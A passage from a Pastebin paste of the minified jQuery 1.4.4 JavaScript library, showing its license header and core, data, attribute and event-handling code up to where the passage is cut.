Guest User

asdff

a guest
May 30th, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 350.74 KB | None | 0 0
  1.  
  2. /*!
  3. * jQuery JavaScript Library v1.4.4
  4. * http://jquery.com/
  5. *
  6. * Copyright 2010, John Resig
  7. * Dual licensed under the MIT or GPL Version 2 licenses.
  8. * http://jquery.org/license
  9. *
  10. * Includes Sizzle.js
  11. * http://sizzlejs.com/
  12. * Copyright 2010, The Dojo Foundation
  13. * Released under the MIT, BSD, and GPL Licenses.
  14. *
  15. * Date: Thu Nov 11 19:04:53 2010 -0500
  16. */
  17. (function(E,B){function ka(a,b,d){if(d===B&&a.nodeType===1){d=a.getAttribute("data-"+b);if(typeof d==="string"){try{d=d==="true"?true:d==="false"?false:d==="null"?null:!c.isNaN(d)?parseFloat(d):Ja.test(d)?c.parseJSON(d):d}catch(e){}c.data(a,b,d)}else d=B}return d}function U(){return false}function ca(){return true}function la(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function Ka(a){var b,d,e,f,h,l,k,o,x,r,A,C=[];f=[];h=c.data(this,this.nodeType?"events":"__events__");if(typeof h==="function")h=
  18. h.events;if(!(a.liveFired===this||!h||!h.live||a.button&&a.type==="click")){if(a.namespace)A=RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)");a.liveFired=this;var J=h.live.slice(0);for(k=0;k<J.length;k++){h=J[k];h.origType.replace(X,"")===a.type?f.push(h.selector):J.splice(k--,1)}f=c(a.target).closest(f,a.currentTarget);o=0;for(x=f.length;o<x;o++){r=f[o];for(k=0;k<J.length;k++){h=J[k];if(r.selector===h.selector&&(!A||A.test(h.namespace))){l=r.elem;e=null;if(h.preType==="mouseenter"||
  19. h.preType==="mouseleave"){a.type=h.preType;e=c(a.relatedTarget).closest(h.selector)[0]}if(!e||e!==l)C.push({elem:l,handleObj:h,level:r.level})}}}o=0;for(x=C.length;o<x;o++){f=C[o];if(d&&f.level>d)break;a.currentTarget=f.elem;a.data=f.handleObj.data;a.handleObj=f.handleObj;A=f.handleObj.origHandler.apply(f.elem,arguments);if(A===false||a.isPropagationStopped()){d=f.level;if(A===false)b=false;if(a.isImmediatePropagationStopped())break}}return b}}function Y(a,b){return(a&&a!=="*"?a+".":"")+b.replace(La,
  20. "`").replace(Ma,"&")}function ma(a,b,d){if(c.isFunction(b))return c.grep(a,function(f,h){return!!b.call(f,h,f)===d});else if(b.nodeType)return c.grep(a,function(f){return f===b===d});else if(typeof b==="string"){var e=c.grep(a,function(f){return f.nodeType===1});if(Na.test(b))return c.filter(b,e,!d);else b=c.filter(b,e)}return c.grep(a,function(f){return c.inArray(f,b)>=0===d})}function na(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var e=c.data(a[d++]),f=c.data(this,
  21. e);if(e=e&&e.events){delete f.handle;f.events={};for(var h in e)for(var l in e[h])c.event.add(this,h,e[h][l],e[h][l].data)}}})}function Oa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function oa(a,b,d){var e=b==="width"?a.offsetWidth:a.offsetHeight;if(d==="border")return e;c.each(b==="width"?Pa:Qa,function(){d||(e-=parseFloat(c.css(a,"padding"+this))||0);if(d==="margin")e+=parseFloat(c.css(a,
  22. "margin"+this))||0;else e-=parseFloat(c.css(a,"border"+this+"Width"))||0});return e}function da(a,b,d,e){if(c.isArray(b)&&b.length)c.each(b,function(f,h){d||Ra.test(a)?e(a,h):da(a+"["+(typeof h==="object"||c.isArray(h)?f:"")+"]",h,d,e)});else if(!d&&b!=null&&typeof b==="object")c.isEmptyObject(b)?e(a,""):c.each(b,function(f,h){da(a+"["+f+"]",h,d,e)});else e(a,b)}function S(a,b){var d={};c.each(pa.concat.apply([],pa.slice(0,b)),function(){d[this]=a});return d}function qa(a){if(!ea[a]){var b=c("<"+
  23. a+">").appendTo("body"),d=b.css("display");b.remove();if(d==="none"||d==="")d="block";ea[a]=d}return ea[a]}function fa(a){return c.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var t=E.document,c=function(){function a(){if(!b.isReady){try{t.documentElement.doScroll("left")}catch(j){setTimeout(a,1);return}b.ready()}}var b=function(j,s){return new b.fn.init(j,s)},d=E.jQuery,e=E.$,f,h=/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/,l=/\S/,k=/^\s+/,o=/\s+$/,x=/\W/,r=/\d/,A=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,
  24. C=/^[\],:{}\s]*$/,J=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,w=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,I=/(?:^|:|,)(?:\s*\[)+/g,L=/(webkit)[ \/]([\w.]+)/,g=/(opera)(?:.*version)?[ \/]([\w.]+)/,i=/(msie) ([\w.]+)/,n=/(mozilla)(?:.*? rv:([\w.]+))?/,m=navigator.userAgent,p=false,q=[],u,y=Object.prototype.toString,F=Object.prototype.hasOwnProperty,M=Array.prototype.push,N=Array.prototype.slice,O=String.prototype.trim,D=Array.prototype.indexOf,R={};b.fn=b.prototype={init:function(j,
  25. s){var v,z,H;if(!j)return this;if(j.nodeType){this.context=this[0]=j;this.length=1;return this}if(j==="body"&&!s&&t.body){this.context=t;this[0]=t.body;this.selector="body";this.length=1;return this}if(typeof j==="string")if((v=h.exec(j))&&(v[1]||!s))if(v[1]){H=s?s.ownerDocument||s:t;if(z=A.exec(j))if(b.isPlainObject(s)){j=[t.createElement(z[1])];b.fn.attr.call(j,s,true)}else j=[H.createElement(z[1])];else{z=b.buildFragment([v[1]],[H]);j=(z.cacheable?z.fragment.cloneNode(true):z.fragment).childNodes}return b.merge(this,
  26. j)}else{if((z=t.getElementById(v[2]))&&z.parentNode){if(z.id!==v[2])return f.find(j);this.length=1;this[0]=z}this.context=t;this.selector=j;return this}else if(!s&&!x.test(j)){this.selector=j;this.context=t;j=t.getElementsByTagName(j);return b.merge(this,j)}else return!s||s.jquery?(s||f).find(j):b(s).find(j);else if(b.isFunction(j))return f.ready(j);if(j.selector!==B){this.selector=j.selector;this.context=j.context}return b.makeArray(j,this)},selector:"",jquery:"1.4.4",length:0,size:function(){return this.length},
  27. toArray:function(){return N.call(this,0)},get:function(j){return j==null?this.toArray():j<0?this.slice(j)[0]:this[j]},pushStack:function(j,s,v){var z=b();b.isArray(j)?M.apply(z,j):b.merge(z,j);z.prevObject=this;z.context=this.context;if(s==="find")z.selector=this.selector+(this.selector?" ":"")+v;else if(s)z.selector=this.selector+"."+s+"("+v+")";return z},each:function(j,s){return b.each(this,j,s)},ready:function(j){b.bindReady();if(b.isReady)j.call(t,b);else q&&q.push(j);return this},eq:function(j){return j===
  28. -1?this.slice(j):this.slice(j,+j+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(N.apply(this,arguments),"slice",N.call(arguments).join(","))},map:function(j){return this.pushStack(b.map(this,function(s,v){return j.call(s,v,s)}))},end:function(){return this.prevObject||b(null)},push:M,sort:[].sort,splice:[].splice};b.fn.init.prototype=b.fn;b.extend=b.fn.extend=function(){var j,s,v,z,H,G=arguments[0]||{},K=1,Q=arguments.length,ga=false;
  29. if(typeof G==="boolean"){ga=G;G=arguments[1]||{};K=2}if(typeof G!=="object"&&!b.isFunction(G))G={};if(Q===K){G=this;--K}for(;K<Q;K++)if((j=arguments[K])!=null)for(s in j){v=G[s];z=j[s];if(G!==z)if(ga&&z&&(b.isPlainObject(z)||(H=b.isArray(z)))){if(H){H=false;v=v&&b.isArray(v)?v:[]}else v=v&&b.isPlainObject(v)?v:{};G[s]=b.extend(ga,v,z)}else if(z!==B)G[s]=z}return G};b.extend({noConflict:function(j){E.$=e;if(j)E.jQuery=d;return b},isReady:false,readyWait:1,ready:function(j){j===true&&b.readyWait--;
  30. if(!b.readyWait||j!==true&&!b.isReady){if(!t.body)return setTimeout(b.ready,1);b.isReady=true;if(!(j!==true&&--b.readyWait>0))if(q){var s=0,v=q;for(q=null;j=v[s++];)j.call(t,b);b.fn.trigger&&b(t).trigger("ready").unbind("ready")}}},bindReady:function(){if(!p){p=true;if(t.readyState==="complete")return setTimeout(b.ready,1);if(t.addEventListener){t.addEventListener("DOMContentLoaded",u,false);E.addEventListener("load",b.ready,false)}else if(t.attachEvent){t.attachEvent("onreadystatechange",u);E.attachEvent("onload",
  31. b.ready);var j=false;try{j=E.frameElement==null}catch(s){}t.documentElement.doScroll&&j&&a()}}},isFunction:function(j){return b.type(j)==="function"},isArray:Array.isArray||function(j){return b.type(j)==="array"},isWindow:function(j){return j&&typeof j==="object"&&"setInterval"in j},isNaN:function(j){return j==null||!r.test(j)||isNaN(j)},type:function(j){return j==null?String(j):R[y.call(j)]||"object"},isPlainObject:function(j){if(!j||b.type(j)!=="object"||j.nodeType||b.isWindow(j))return false;if(j.constructor&&
  32. !F.call(j,"constructor")&&!F.call(j.constructor.prototype,"isPrototypeOf"))return false;for(var s in j);return s===B||F.call(j,s)},isEmptyObject:function(j){for(var s in j)return false;return true},error:function(j){throw j;},parseJSON:function(j){if(typeof j!=="string"||!j)return null;j=b.trim(j);if(C.test(j.replace(J,"@").replace(w,"]").replace(I,"")))return E.JSON&&E.JSON.parse?E.JSON.parse(j):(new Function("return "+j))();else b.error("Invalid JSON: "+j)},noop:function(){},globalEval:function(j){if(j&&
  33. l.test(j)){var s=t.getElementsByTagName("head")[0]||t.documentElement,v=t.createElement("script");v.type="text/javascript";if(b.support.scriptEval)v.appendChild(t.createTextNode(j));else v.text=j;s.insertBefore(v,s.firstChild);s.removeChild(v)}},nodeName:function(j,s){return j.nodeName&&j.nodeName.toUpperCase()===s.toUpperCase()},each:function(j,s,v){var z,H=0,G=j.length,K=G===B||b.isFunction(j);if(v)if(K)for(z in j){if(s.apply(j[z],v)===false)break}else for(;H<G;){if(s.apply(j[H++],v)===false)break}else if(K)for(z in j){if(s.call(j[z],
  34. z,j[z])===false)break}else for(v=j[0];H<G&&s.call(v,H,v)!==false;v=j[++H]);return j},trim:O?function(j){return j==null?"":O.call(j)}:function(j){return j==null?"":j.toString().replace(k,"").replace(o,"")},makeArray:function(j,s){var v=s||[];if(j!=null){var z=b.type(j);j.length==null||z==="string"||z==="function"||z==="regexp"||b.isWindow(j)?M.call(v,j):b.merge(v,j)}return v},inArray:function(j,s){if(s.indexOf)return s.indexOf(j);for(var v=0,z=s.length;v<z;v++)if(s[v]===j)return v;return-1},merge:function(j,
  35. s){var v=j.length,z=0;if(typeof s.length==="number")for(var H=s.length;z<H;z++)j[v++]=s[z];else for(;s[z]!==B;)j[v++]=s[z++];j.length=v;return j},grep:function(j,s,v){var z=[],H;v=!!v;for(var G=0,K=j.length;G<K;G++){H=!!s(j[G],G);v!==H&&z.push(j[G])}return z},map:function(j,s,v){for(var z=[],H,G=0,K=j.length;G<K;G++){H=s(j[G],G,v);if(H!=null)z[z.length]=H}return z.concat.apply([],z)},guid:1,proxy:function(j,s,v){if(arguments.length===2)if(typeof s==="string"){v=j;j=v[s];s=B}else if(s&&!b.isFunction(s)){v=
  36. s;s=B}if(!s&&j)s=function(){return j.apply(v||this,arguments)};if(j)s.guid=j.guid=j.guid||s.guid||b.guid++;return s},access:function(j,s,v,z,H,G){var K=j.length;if(typeof s==="object"){for(var Q in s)b.access(j,Q,s[Q],z,H,v);return j}if(v!==B){z=!G&&z&&b.isFunction(v);for(Q=0;Q<K;Q++)H(j[Q],s,z?v.call(j[Q],Q,H(j[Q],s)):v,G);return j}return K?H(j[0],s):B},now:function(){return(new Date).getTime()},uaMatch:function(j){j=j.toLowerCase();j=L.exec(j)||g.exec(j)||i.exec(j)||j.indexOf("compatible")<0&&n.exec(j)||
  37. [];return{browser:j[1]||"",version:j[2]||"0"}},browser:{}});b.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(j,s){R["[object "+s+"]"]=s.toLowerCase()});m=b.uaMatch(m);if(m.browser){b.browser[m.browser]=true;b.browser.version=m.version}if(b.browser.webkit)b.browser.safari=true;if(D)b.inArray=function(j,s){return D.call(s,j)};if(!/\s/.test("\u00a0")){k=/^[\s\xA0]+/;o=/[\s\xA0]+$/}f=b(t);if(t.addEventListener)u=function(){t.removeEventListener("DOMContentLoaded",u,
  38. false);b.ready()};else if(t.attachEvent)u=function(){if(t.readyState==="complete"){t.detachEvent("onreadystatechange",u);b.ready()}};return E.jQuery=E.$=b}();(function(){c.support={};var a=t.documentElement,b=t.createElement("script"),d=t.createElement("div"),e="script"+c.now();d.style.display="none";d.innerHTML=" <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var f=d.getElementsByTagName("*"),h=d.getElementsByTagName("a")[0],l=t.createElement("select"),
  39. k=l.appendChild(t.createElement("option"));if(!(!f||!f.length||!h)){c.support={leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(h.getAttribute("style")),hrefNormalized:h.getAttribute("href")==="/a",opacity:/^0.55$/.test(h.style.opacity),cssFloat:!!h.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:k.selected,deleteExpando:true,optDisabled:false,checkClone:false,
  40. scriptEval:false,noCloneEvent:true,boxModel:null,inlineBlockNeedsLayout:false,shrinkWrapBlocks:false,reliableHiddenOffsets:true};l.disabled=true;c.support.optDisabled=!k.disabled;b.type="text/javascript";try{b.appendChild(t.createTextNode("window."+e+"=1;"))}catch(o){}a.insertBefore(b,a.firstChild);if(E[e]){c.support.scriptEval=true;delete E[e]}try{delete b.test}catch(x){c.support.deleteExpando=false}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function r(){c.support.noCloneEvent=
  41. false;d.detachEvent("onclick",r)});d.cloneNode(true).fireEvent("onclick")}d=t.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=t.createDocumentFragment();a.appendChild(d.firstChild);c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var r=t.createElement("div");r.style.width=r.style.paddingLeft="1px";t.body.appendChild(r);c.boxModel=c.support.boxModel=r.offsetWidth===2;if("zoom"in r.style){r.style.display="inline";r.style.zoom=
  42. 1;c.support.inlineBlockNeedsLayout=r.offsetWidth===2;r.style.display="";r.innerHTML="<div style='width:4px;'></div>";c.support.shrinkWrapBlocks=r.offsetWidth!==2}r.innerHTML="<table><tr><td style='padding:0;display:none'></td><td>t</td></tr></table>";var A=r.getElementsByTagName("td");c.support.reliableHiddenOffsets=A[0].offsetHeight===0;A[0].style.display="";A[1].style.display="none";c.support.reliableHiddenOffsets=c.support.reliableHiddenOffsets&&A[0].offsetHeight===0;r.innerHTML="";t.body.removeChild(r).style.display=
  43. "none"});a=function(r){var A=t.createElement("div");r="on"+r;var C=r in A;if(!C){A.setAttribute(r,"return;");C=typeof A[r]==="function"}return C};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=f=h=null}})();var ra={},Ja=/^(?:\{.*\}|\[.*\])$/;c.extend({cache:{},uuid:0,expando:"jQuery"+c.now(),noData:{embed:true,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:true},data:function(a,b,d){if(c.acceptData(a)){a=a==E?ra:a;var e=a.nodeType,f=e?a[c.expando]:null,h=
  44. c.cache;if(!(e&&!f&&typeof b==="string"&&d===B)){if(e)f||(a[c.expando]=f=++c.uuid);else h=a;if(typeof b==="object")if(e)h[f]=c.extend(h[f],b);else c.extend(h,b);else if(e&&!h[f])h[f]={};a=e?h[f]:h;if(d!==B)a[b]=d;return typeof b==="string"?a[b]:a}}},removeData:function(a,b){if(c.acceptData(a)){a=a==E?ra:a;var d=a.nodeType,e=d?a[c.expando]:a,f=c.cache,h=d?f[e]:e;if(b){if(h){delete h[b];d&&c.isEmptyObject(h)&&c.removeData(a)}}else if(d&&c.support.deleteExpando)delete a[c.expando];else if(a.removeAttribute)a.removeAttribute(c.expando);
  45. else if(d)delete f[e];else for(var l in a)delete a[l]}},acceptData:function(a){if(a.nodeName){var b=c.noData[a.nodeName.toLowerCase()];if(b)return!(b===true||a.getAttribute("classid")!==b)}return true}});c.fn.extend({data:function(a,b){var d=null;if(typeof a==="undefined"){if(this.length){var e=this[0].attributes,f;d=c.data(this[0]);for(var h=0,l=e.length;h<l;h++){f=e[h].name;if(f.indexOf("data-")===0){f=f.substr(5);ka(this[0],f,d[f])}}}return d}else if(typeof a==="object")return this.each(function(){c.data(this,
  46. a)});var k=a.split(".");k[1]=k[1]?"."+k[1]:"";if(b===B){d=this.triggerHandler("getData"+k[1]+"!",[k[0]]);if(d===B&&this.length){d=c.data(this[0],a);d=ka(this[0],a,d)}return d===B&&k[1]?this.data(k[0]):d}else return this.each(function(){var o=c(this),x=[k[0],b];o.triggerHandler("setData"+k[1]+"!",x);c.data(this,a,b);o.triggerHandler("changeData"+k[1]+"!",x)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var e=
  47. c.data(a,b);if(!d)return e||[];if(!e||c.isArray(d))e=c.data(a,b,c.makeArray(d));else e.push(d);return e}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),e=d.shift();if(e==="inprogress")e=d.shift();if(e){b==="fx"&&d.unshift("inprogress");e.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===B)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,
  48. a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var sa=/[\n\t]/g,ha=/\s+/,Sa=/\r/g,Ta=/^(?:href|src|style)$/,Ua=/^(?:button|input)$/i,Va=/^(?:button|input|object|select|textarea)$/i,Wa=/^a(?:rea)?$/i,ta=/^(?:radio|checkbox)$/i;c.props={"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",
  49. colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};c.fn.extend({attr:function(a,b){return c.access(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(x){var r=c(this);r.addClass(a.call(this,x,r.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ha),d=0,e=this.length;d<e;d++){var f=this[d];if(f.nodeType===
  50. 1)if(f.className){for(var h=" "+f.className+" ",l=f.className,k=0,o=b.length;k<o;k++)if(h.indexOf(" "+b[k]+" ")<0)l+=" "+b[k];f.className=c.trim(l)}else f.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var x=c(this);x.removeClass(a.call(this,o,x.attr("class")))});if(a&&typeof a==="string"||a===B)for(var b=(a||"").split(ha),d=0,e=this.length;d<e;d++){var f=this[d];if(f.nodeType===1&&f.className)if(a){for(var h=(" "+f.className+" ").replace(sa," "),
  51. l=0,k=b.length;l<k;l++)h=h.replace(" "+b[l]+" "," ");f.className=c.trim(h)}else f.className=""}return this},toggleClass:function(a,b){var d=typeof a,e=typeof b==="boolean";if(c.isFunction(a))return this.each(function(f){var h=c(this);h.toggleClass(a.call(this,f,h.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var f,h=0,l=c(this),k=b,o=a.split(ha);f=o[h++];){k=e?k:!l.hasClass(f);l[k?"addClass":"removeClass"](f)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,
  52. "__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(sa," ").indexOf(a)>-1)return true;return false},val:function(a){if(!arguments.length){var b=this[0];if(b){if(c.nodeName(b,"option")){var d=b.attributes.value;return!d||d.specified?b.value:b.text}if(c.nodeName(b,"select")){var e=b.selectedIndex;d=[];var f=b.options;b=b.type==="select-one";
  53. if(e<0)return null;var h=b?e:0;for(e=b?e+1:f.length;h<e;h++){var l=f[h];if(l.selected&&(c.support.optDisabled?!l.disabled:l.getAttribute("disabled")===null)&&(!l.parentNode.disabled||!c.nodeName(l.parentNode,"optgroup"))){a=c(l).val();if(b)return a;d.push(a)}}return d}if(ta.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Sa,"")}return B}var k=c.isFunction(a);return this.each(function(o){var x=c(this),r=a;if(this.nodeType===1){if(k)r=
  54. a.call(this,o,x.val());if(r==null)r="";else if(typeof r==="number")r+="";else if(c.isArray(r))r=c.map(r,function(C){return C==null?"":C+""});if(c.isArray(r)&&ta.test(this.type))this.checked=c.inArray(x.val(),r)>=0;else if(c.nodeName(this,"select")){var A=c.makeArray(r);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),A)>=0});if(!A.length)this.selectedIndex=-1}else this.value=r}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},
  55. attr:function(a,b,d,e){if(!a||a.nodeType===3||a.nodeType===8)return B;if(e&&b in c.attrFn)return c(a)[b](d);e=a.nodeType!==1||!c.isXMLDoc(a);var f=d!==B;b=e&&c.props[b]||b;var h=Ta.test(b);if((b in a||a[b]!==B)&&e&&!h){if(f){b==="type"&&Ua.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");if(d===null)a.nodeType===1&&a.removeAttribute(b);else a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&
  56. b.specified?b.value:Va.test(a.nodeName)||Wa.test(a.nodeName)&&a.href?0:B;return a[b]}if(!c.support.style&&e&&b==="style"){if(f)a.style.cssText=""+d;return a.style.cssText}f&&a.setAttribute(b,""+d);if(!a.attributes[b]&&a.hasAttribute&&!a.hasAttribute(b))return B;a=!c.support.hrefNormalized&&e&&h?a.getAttribute(b,2):a.getAttribute(b);return a===null?B:a}});var X=/\.(.*)$/,ia=/^(?:textarea|input|select)$/i,La=/\./g,Ma=/ /g,Xa=/[^\w\s.|`]/g,Ya=function(a){return a.replace(Xa,"\\$&")},ua={focusin:0,focusout:0};
  57. c.event={add:function(a,b,d,e){if(!(a.nodeType===3||a.nodeType===8)){if(c.isWindow(a)&&a!==E&&!a.frameElement)a=E;if(d===false)d=U;else if(!d)return;var f,h;if(d.handler){f=d;d=f.handler}if(!d.guid)d.guid=c.guid++;if(h=c.data(a)){var l=a.nodeType?"events":"__events__",k=h[l],o=h.handle;if(typeof k==="function"){o=k.handle;k=k.events}else if(!k){a.nodeType||(h[l]=h=function(){});h.events=k={}}if(!o)h.handle=o=function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(o.elem,
  58. arguments):B};o.elem=a;b=b.split(" ");for(var x=0,r;l=b[x++];){h=f?c.extend({},f):{handler:d,data:e};if(l.indexOf(".")>-1){r=l.split(".");l=r.shift();h.namespace=r.slice(0).sort().join(".")}else{r=[];h.namespace=""}h.type=l;if(!h.guid)h.guid=d.guid;var A=k[l],C=c.event.special[l]||{};if(!A){A=k[l]=[];if(!C.setup||C.setup.call(a,e,r,o)===false)if(a.addEventListener)a.addEventListener(l,o,false);else a.attachEvent&&a.attachEvent("on"+l,o)}if(C.add){C.add.call(a,h);if(!h.handler.guid)h.handler.guid=
  59. d.guid}A.push(h);c.event.global[l]=true}a=null}}},global:{},remove:function(a,b,d,e){if(!(a.nodeType===3||a.nodeType===8)){if(d===false)d=U;var f,h,l=0,k,o,x,r,A,C,J=a.nodeType?"events":"__events__",w=c.data(a),I=w&&w[J];if(w&&I){if(typeof I==="function"){w=I;I=I.events}if(b&&b.type){d=b.handler;b=b.type}if(!b||typeof b==="string"&&b.charAt(0)==="."){b=b||"";for(f in I)c.event.remove(a,f+b)}else{for(b=b.split(" ");f=b[l++];){r=f;k=f.indexOf(".")<0;o=[];if(!k){o=f.split(".");f=o.shift();x=RegExp("(^|\\.)"+
  60. c.map(o.slice(0).sort(),Ya).join("\\.(?:.*\\.)?")+"(\\.|$)")}if(A=I[f])if(d){r=c.event.special[f]||{};for(h=e||0;h<A.length;h++){C=A[h];if(d.guid===C.guid){if(k||x.test(C.namespace)){e==null&&A.splice(h--,1);r.remove&&r.remove.call(a,C)}if(e!=null)break}}if(A.length===0||e!=null&&A.length===1){if(!r.teardown||r.teardown.call(a,o)===false)c.removeEvent(a,f,w.handle);delete I[f]}}else for(h=0;h<A.length;h++){C=A[h];if(k||x.test(C.namespace)){c.event.remove(a,r,C.handler,h);A.splice(h--,1)}}}if(c.isEmptyObject(I)){if(b=
  61. w.handle)b.elem=null;delete w.events;delete w.handle;if(typeof w==="function")c.removeData(a,J);else c.isEmptyObject(w)&&c.removeData(a)}}}}},trigger:function(a,b,d,e){var f=a.type||a;if(!e){a=typeof a==="object"?a[c.expando]?a:c.extend(c.Event(f),a):c.Event(f);if(f.indexOf("!")>=0){a.type=f=f.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();c.event.global[f]&&c.each(c.cache,function(){this.events&&this.events[f]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===
  62. 8)return B;a.result=B;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(e=d.nodeType?c.data(d,"handle"):(c.data(d,"__events__")||{}).handle)&&e.apply(d,b);e=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+f]&&d["on"+f].apply(d,b)===false){a.result=false;a.preventDefault()}}catch(h){}if(!a.isPropagationStopped()&&e)c.event.trigger(a,b,e,true);else if(!a.isDefaultPrevented()){var l;e=a.target;var k=f.replace(X,""),o=c.nodeName(e,"a")&&k===
  63. "click",x=c.event.special[k]||{};if((!x._default||x._default.call(d,a)===false)&&!o&&!(e&&e.nodeName&&c.noData[e.nodeName.toLowerCase()])){try{if(e[k]){if(l=e["on"+k])e["on"+k]=null;c.event.triggered=true;e[k]()}}catch(r){}if(l)e["on"+k]=l;c.event.triggered=false}}},handle:function(a){var b,d,e,f;d=[];var h=c.makeArray(arguments);a=h[0]=c.event.fix(a||E.event);a.currentTarget=this;b=a.type.indexOf(".")<0&&!a.exclusive;if(!b){e=a.type.split(".");a.type=e.shift();d=e.slice(0).sort();e=RegExp("(^|\\.)"+
  64. d.join("\\.(?:.*\\.)?")+"(\\.|$)")}a.namespace=a.namespace||d.join(".");f=c.data(this,this.nodeType?"events":"__events__");if(typeof f==="function")f=f.events;d=(f||{})[a.type];if(f&&d){d=d.slice(0);f=0;for(var l=d.length;f<l;f++){var k=d[f];if(b||e.test(k.namespace)){a.handler=k.handler;a.data=k.data;a.handleObj=k;k=k.handler.apply(this,h);if(k!==B){a.result=k;if(k===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
  65. fix:function(a){if(a[c.expando])return a;var b=a;a=c.Event(b);for(var d=this.props.length,e;d;){e=this.props[--d];a[e]=b[e]}if(!a.target)a.target=a.srcElement||t;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=t.documentElement;d=t.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
  66. d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(a.which==null&&(a.charCode!=null||a.keyCode!=null))a.which=a.charCode!=null?a.charCode:a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==B)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a){c.event.add(this,Y(a.origType,a.selector),c.extend({},a,{handler:Ka,guid:a.handler.guid}))},remove:function(a){c.event.remove(this,
  67. Y(a.origType,a.selector),a)}},beforeunload:{setup:function(a,b,d){if(c.isWindow(this))this.onbeforeunload=d},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.removeEvent=t.removeEventListener?function(a,b,d){a.removeEventListener&&a.removeEventListener(b,d,false)}:function(a,b,d){a.detachEvent&&a.detachEvent("on"+b,d)};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=
